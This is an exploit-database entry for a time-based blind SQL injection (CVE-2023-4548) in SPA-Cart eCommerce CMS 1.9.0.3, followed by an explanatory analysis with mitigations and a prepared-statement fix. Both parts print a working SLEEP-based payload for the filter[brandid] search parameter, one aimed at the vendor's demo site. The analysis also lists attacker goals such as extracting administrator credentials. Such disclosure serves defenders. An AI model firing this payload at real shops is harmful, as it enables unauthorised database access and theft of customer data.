SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection

Exploit Author: CraCkEr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-09-08
# Exploit Title: SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection
# Exploit Author: CraCkEr
# Date: 20/08/2023
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: 1.9.0.3
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4548
# CWE: CWE-89 / CWE-74 / CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /search

GET parameter 'filter[brandid]' is vulnerable to SQL Injection

https://website/search?filtered=1&q=11&load_filter=1&filter[brandid]=[SQLi]&filter[price]=100-500&filter[attr][Memory][]=500%20GB&filter[attr][Color][]=Black

---
Parameter: filter[brandid] (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: filtered=1&q=11&load_filter=1&filter[brandid]=4'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&filter[price]=100-500&filter[attr][Memory][]=500 GB&filter[attr][Color][]=Black
---


[-] Done


SPA-Cart eCommerce CMS 1.9.0.3 – SQL Injection Vulnerability Analysis

Security researchers have identified a critical SQL injection vulnerability in SPA-Cart eCommerce CMS version 1.9.0.3, affecting the /search endpoint. This flaw, reported under CVE-2023-4548 and classified under CWE-89 (Improper Neutralization of Input), exposes the application to severe risks including unauthorized database access, data manipulation, and potential denial-of-service attacks.

Exploit Overview

The vulnerability lies within the filter[brandid] parameter in the GET request. When an attacker submits a malicious payload through this parameter, the application fails to properly sanitize input, allowing direct injection of SQL commands.

Attackers can leverage this flaw to perform time-based blind SQL injection, a stealthy technique that infers database behavior through response delays rather than visible error messages.

Attack Payload Example


https://demo.spa-cart.com/search?filtered=1&q=11&load_filter=1&filter[brandid]=4'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&filter[price]=100-500&filter[attr][Memory][]=500%20GB&filter[attr][Color][]=Black

This payload exploits MySQL’s SLEEP() function, which pauses execution for a specified number of seconds. If the server responds with a delay of approximately 7 seconds, the attacker confirms successful injection. This method is particularly effective in environments where error messages are suppressed.

How the Injection Works

The payload is structured as follows:

  • 4' – Begins the SQL injection by terminating the existing query with a single quote.
  • XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a) – Uses XOR logic to trigger the SLEEP function, which delays execution.
  • XOR'Z – Closes the injection with a final quote, ensuring the syntax remains valid.

Due to the lack of input validation, the application processes this malformed string directly in the SQL query, leading to unintended execution of SLEEP(7).

Impact and Risks

Risk Description
Database Access Attackers can extract sensitive data such as user credentials, payment details, and product information.
Data Manipulation Malicious SQL commands can alter or delete records, leading to data integrity loss.
Denial of Service Repeated use of time-based payloads can exhaust server resources, causing service degradation.
Reputation Damage Exposure of customer data can result in legal liabilities and loss of trust.

Why This Vulnerability Matters

SPA-Cart is an open-source eCommerce platform widely used by small to medium businesses. The presence of a SQL injection flaw in its core search functionality poses a significant threat, especially since the filter[brandid] parameter is frequently used during product filtering.

Attackers can exploit this vulnerability to:

  • Enumerate database tables and columns using time-based inference.
  • Retrieve administrator credentials by crafting payloads that extract data from the users table.
  • Perform union-based injection if error messages are exposed, allowing full database dumping.

Security Recommendations

For developers and administrators, the following mitigation strategies are essential:

  • Input Validation: Implement strict validation on all GET parameters, especially those used in database queries.
  • Parameterized Queries: Use prepared statements instead of dynamic SQL construction.
  • Sanitization: Apply escaping functions such as mysql_real_escape_string() or equivalent in modern frameworks.
  • Logging and Monitoring: Enable real-time monitoring of unusual request patterns and SQL anomalies.
  • Regular Patching: Update to the latest stable version of SPA-Cart, which should include fixes for this CVE.

Corrected Code Example (Best Practice)


// Vulnerable (Incorrect)
$query = "SELECT * FROM products WHERE brand_id = '" . $_GET['filter[brandid]'] . "'";

// Secure (Correct)
$stmt = $pdo->prepare("SELECT * FROM products WHERE brand_id = ?");
$stmt->execute([$_GET['filter[brandid]']]);

This example demonstrates the use of prepared statements with parameter binding. The SQL query is static, and user input is treated as a parameter, preventing injection regardless of input content.

Conclusion

The SPA-Cart 1.9.0.3 SQL Injection vulnerability underscores the importance of secure coding practices in web applications. Even seemingly innocuous parameters like filter[brandid] can become attack vectors if not properly validated.

Organizations using SPA-Cart must prioritize patching, auditing, and adopting secure development methodologies to prevent exploitation. For security professionals, this case serves as a real-world example of how blind SQL injection can be weaponized in modern eCommerce environments.